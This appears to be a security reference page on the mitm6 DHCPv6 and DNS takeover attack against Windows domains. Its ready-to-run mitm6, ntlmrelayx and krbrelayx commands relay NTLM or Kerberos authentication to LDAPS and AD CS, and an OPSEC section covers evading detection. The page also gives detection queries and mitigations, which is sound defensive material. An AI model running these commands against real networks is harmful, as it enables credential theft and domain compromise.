How it works
Windows has IPv6 enabled by default and prefers it over IPv4. As part of normal network setup, a Windows host periodically sends DHCPv6 messages to ask for an IPv6 configuration, whether or not the network uses IPv6. On most internal networks nothing answers.
mitm6 answers. It acts as a DHCPv6 server on the local link, gives the victim a link-local IPv6 address, and names the attacker's host as the DNS server. Windows prefers an IPv6 DNS server over its IPv4 DNS server, so from that moment the victim sends its DNS queries to the attacker first. This is a different position from LLMNR and NBT-NS poisoning: the attacker does not wait for DNS to fail. It is the DNS server, and it chooses which queries to answer falsely and which to leave alone.
The usual next step is WPAD. A Windows client with automatic proxy detection asks DNS for wpad in its domain. The attacker's DNS answers with its own address, serves a proxy configuration file that points at the attacker, and then replies to the victim's proxied requests with HTTP 407 (proxy authentication required). Windows authenticates to the proxy automatically with the credentials of whatever is making the request: the logged-on user, and the computer account for system services. That is NTLM authentication arriving over HTTP, which a relay tool can forward to LDAP on a domain controller, because HTTP clients do not ask for signing.
Variants:
- NTLM relay over WPAD with ntlmrelayx. The relayed session writes to the directory; see NTLM relay to LDAP.
- Kerberos relay over DNS. With the
--relayoption, mitm6 impersonates the DNS server name of a chosen target so that the victim's secure dynamic DNS update, which uses Kerberos, can be relayed by krbrelayx. See Kerberos relay. - Other tools. Responder (
--dhcpv6) and Inveigh (-dhcpv6 y) implement the same DHCPv6 takeover.
mitm6 is built to limit damage to the network: it does not route the victim's traffic, the addresses it hands out have short lifetimes so the DNS setting disappears within about five minutes after the tool stops, and its DNS answers carry a TTL of 100 seconds.
Prerequisites
- A host on the same local link (layer 2 segment) as the victims. No domain account is needed to start.
- Windows clients with IPv6 enabled, which is the default, and no authorized DHCPv6 server or switch filtering that would stop a rogue one.
- For the WPAD step: clients with automatic proxy detection enabled.
- For the relay to pay off: a target that accepts the relayed authentication. For LDAP on a domain controller this means LDAP signing or channel binding is not enforced. For the usual computer account abuse it also means
ms-DS-MachineAccountQuotaabove zero or an account the attacker already controls.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Start the DHCPv6 and DNS takeover
mitm6 runs as root and detects the interface and addresses by itself. The option that matters is the domain to spoof:
# Answer DHCPv6 on the link, and DNS queries for names in corp.example.com
sudo mitm6 -d corp.example.com
# Limit the attack to one host
sudo mitm6 -d corp.example.com -hw WS01.corp.example.com
# Do not send router advertisements, for networks that detect rogue ones
sudo mitm6 -d corp.example.com --no-ra
| Option | Meaning |
|---|---|
-i, --interface |
Interface to use (default: autodetect) |
-d, --domain |
Domain to answer DNS queries for (allow list, can be repeated) |
-b, --blocklist |
Domain not to answer DNS queries for |
-hw, --host-allowlist |
Host name (FQDN) to answer DHCPv6 requests from |
-hb, --host-blocklist |
Host name (FQDN) to ignore DHCPv6 requests from |
--ignore-nofqdn |
Ignore DHCPv6 requests that carry no FQDN option |
-a, --no-ra |
Do not send router advertisements |
-r, --relay |
Relay target, used as the fake DNS server host name to trigger Kerberos authentication |
Filtering is by simple string matching, and the block list wins over the allow list. Without -d, mitm6 answers every DNS query, which breaks name resolution for the victims and is noticed quickly.
2. Relay the WPAD authentication
Run ntlmrelayx next to mitm6. -6 makes it listen on IPv6 as well as IPv4, and -wh serves a WPAD file that names the given host as the proxy. Any host name in the domain that does not exist works, because mitm6 answers the DNS query for it:
# Relay to LDAPS and write the directory information that the victim can read to ./loot
ntlmrelayx.py -6 -t ldaps://DC01.corp.example.com -wh wpad-proxy.corp.example.com -l loot
# When a computer account authenticates: create a computer account and give it
# delegation rights over the victim computer (resource-based constrained delegation)
ntlmrelayx.py -6 -t ldaps://DC01.corp.example.com -wh wpad-proxy.corp.example.com \
--delegate-access
| Option | Meaning |
|---|---|
-6, --ipv6 |
Listen on IPv6 |
-wh, --wpad-host |
Serve a WPAD file for the proxy authentication attack, with this host as the proxy |
-wa, --wpad-auth-num |
Ask for authentication N times on the WPAD file itself, for clients without MS16-077 |
-t, --target |
Where to relay the authentication |
--delegate-access |
Delegate access on the relayed computer account to the specified account |
-l, --lootdir |
Directory for the collected output |
When a user authenticates, ntlmrelayx dumps the directory information that user can read and, if the user has the rights, attempts an ACL-based escalation. When a computer account authenticates, --delegate-access creates a new computer account through the relayed session and writes msDS-AllowedToActOnBehalfOfOtherIdentity on that computer, which the attacker then uses with resource-based constrained delegation to become local administrator on the victim.
3. Or relay Kerberos over DNS
To relay Kerberos instead of NTLM, mitm6 names the relay target as the DNS server, and krbrelayx forwards the Kerberos authentication of the victim's dynamic DNS update. The usual target is AD CS web enrollment:
sudo krbrelayx.py --target http://SRV01.corp.example.com/certsrv/ -ip 192.0.2.50 \
--victim WS01.corp.example.com --adcs --template Machine
sudo mitm6 --domain corp.example.com --host-allowlist WS01.corp.example.com \
--relay SRV01.corp.example.com -v
4. Stop and let the leases expire
Stop mitm6 as soon as the needed authentication has arrived. The victims drop the attacker's DNS server when the short lease expires.
Impact
By itself the takeover gives the attacker the victim's DNS answers. Combined with a relay it gives much more, from a position that started with no account:
- A domain foothold. A relayed user session reads the directory, and a relayed computer session can create a computer account when the machine account quota allows it.
- Local administrator on the victim. Delegation written through the relayed computer account lets the attacker impersonate an administrator to that computer.
- Domain escalation, when the authentication that arrives belongs to a privileged user, or when the relay target is AD CS and the certificate issued is for a privileged computer such as a domain controller.
The redirected authentication is also credential theft in the plain sense: with no relay target available, the attacker still collects NetNTLMv2 responses to crack.
OPSEC and artifacts
- Narrow targeting. Operators use
-dwith the internal domain and-hwwith a single host, so that only the intended victim receives a DHCPv6 answer and only a few DNS names are spoofed. Each targeted host still receives DHCPv6 advertise and reply messages from a source that is not a DHCPv6 server, visible to sensors and to switches with DHCPv6 guard. - No router advertisements.
--no-raavoids rogue router advertisement detection. The DHCPv6 messages remain. - Short runs. Leases and DNS answers expire within minutes, so little remains on the victim after the tool stops. While it runs, the victim's adapter shows an IPv6 DNS server that is a link-local or unexpected address (
ipconfig /all), and its DNS queries go to a workstation. - WPAD traffic. The victim downloads
wpad.datfrom the attacker and sends its web requests to a proxy that is not the organization's. Those HTTP connections and the 407 responses are in proxy and network logs, if the segment is monitored. - The relay leaves directory changes. A computer account created through the relay writes event 4741 on the domain controller. The delegation write is a change to
msDS-AllowedToActOnBehalfOfOtherIdentityin event 5136, made by the victim computer's own account. - The relayed logon. The domain controller records event 4624 for the victim's account with the attacker's host as the source address.
Detection
The takeover itself is visible only on the network. Windows hosts write nothing to the Security log when they accept a DHCPv6 answer.
- Rogue DHCPv6 servers. DHCPv6 advertise or reply messages (UDP source port 547) from any host that is not an authorized DHCPv6 server. On a network that does not use DHCPv6, any such message is an alert. Fox-IT published Snort and Suricata signatures for rogue DHCPv6 traffic and for WPAD replies over IPv6.
- Rogue router advertisements from a host that is not a router.
- DNS answered by a workstation. DNS responses over IPv6 from an address that is not a DNS server, especially for
wpad. - A changed resolver on clients. Endpoint inventory or EDR that shows a link-local IPv6 address as the preferred DNS server.
- What the relay does next. A computer account created by a computer or by an ordinary user (see the machine account creation rules), a computer writing delegation on itself (see the RBCD rules), and NTLM logons whose source address does not match the account's own host (see the NTLM relay rules).
// A computer account created shortly before a delegation write on another computer
let Created = WindowsEvent
| where EventID == 4741
| project CreatedTime = TimeGenerated, Computer,
NewComputer = tostring(EventData.TargetUserName),
Creator = tostring(EventData.SubjectUserName);
WindowsEvent
| where EventID == 5136
| where tostring(EventData.AttributeLDAPDisplayName) =~ "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project WriteTime = TimeGenerated, Computer,
Actor = tostring(EventData.SubjectUserName),
ObjectDN = tostring(EventData.ObjectDN)
| join kind=inner Created on Computer
| where WriteTime between (CreatedTime .. (CreatedTime + 15m))
| project CreatedTime, WriteTime, Creator, NewComputer, Actor, ObjectDN
The join is on the domain controller that recorded both events, so it misses a pair written on two different DCs; widen it to the domain when that matters. Event 5136 needs directory change auditing and a SACL that covers the attribute.
Mitigation
- Stop the rogue DHCPv6 answer. If IPv6 is not used internally, block DHCPv6 and router advertisement traffic on Windows hosts with Windows Firewall through Group Policy, by setting these predefined rules to block: Core Networking - Dynamic Host Configuration Protocol for IPv6 (DHCPV6-In), Core Networking - Router Advertisement (ICMPv6-In) and Core Networking - Dynamic Host Configuration Protocol for IPv6 (DHCPV6-Out). This is safer than disabling IPv6 altogether.
- Filter at the switch. Allow DHCPv6 server messages only from trusted infrastructure ports (DHCPv6 guard, RFC 7610) and apply RA guard (RFC 6105) at the access layer. Check the relay agent and switch topology before enforcing.
- Remove WPAD discovery. Where proxy settings are managed, disable automatic proxy detection by Group Policy, so that a controlled DNS server cannot hand out a proxy.
- Make the relay fail. Enforce LDAP signing and LDAP channel binding on every domain controller, following the LDAP signing and channel binding guide. Enable Extended Protection for Authentication on AD CS web enrollment and other HTTP services that accept Windows authentication.
- Remove the computer account step. Set
ms-DS-MachineAccountQuotato 0 as described in the MachineAccountQuota guide, so that a relayed session cannot create the computer account that delegation abuse needs. - Protect privileged accounts. Add administrators to Protected Users or mark them as sensitive and not to be delegated, so that delegation written by an attacker cannot be used to impersonate them, and keep them off user network segments.
- Remove the other poisoning routes on the same segment by following the LLMNR and NBT-NS guide.
Detection rules for this attack
Log events to collect
FAQ
Does mitm6 work on a network that does not use IPv6?
Yes, that is the usual case. Windows has IPv6 enabled by default and regularly asks for an IPv6 configuration with DHCPv6, even when the network only uses IPv4. If no real DHCPv6 server exists, the attacker's answer is the only one, and Windows prefers the IPv6 DNS server it receives over the IPv4 one.
How is mitm6 different from LLMNR poisoning?
LLMNR and NBT-NS poisoning only answer lookups that DNS failed to resolve. mitm6 replaces the DNS server itself, so the attacker decides the answer to any DNS query the victim makes, including WPAD, and does not depend on a failed lookup.
Should you disable IPv6 to stop mitm6?
Not necessarily. Disabling IPv6 completely can have side effects on Windows. If IPv6 is not used internally, block DHCPv6 and router advertisement traffic with Windows Firewall through Group Policy, and filter rogue DHCPv6 servers and router advertisements on the switches with DHCPv6 guard and RA guard.
How do you detect mitm6?
On the network: DHCPv6 advertise and reply messages from a host that is not an authorized DHCPv6 server, and DNS answers arriving over IPv6 from a workstation. Fox-IT published Snort and Suricata signatures for both. In the directory: a new computer account or a delegation change shortly afterwards.
References
- Adversary-in-the-Middle: DHCP Spoofing, T1557.003 (MITRE ATT&CK)
- mitm6: compromising IPv4 networks via IPv6 (Fox-IT)
- mitm6 (dirkjanm)
- The worst of both worlds: Combining NTLM Relaying and Kerberos delegation (dirkjanm.io)
- RFC 7610: DHCPv6-Shield, Protecting against Rogue DHCPv6 Servers
- RFC 6105: IPv6 Router Advertisement Guard
- Snort and Suricata signatures for rogue DHCPv6 and WPAD replies (Fox-IT)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.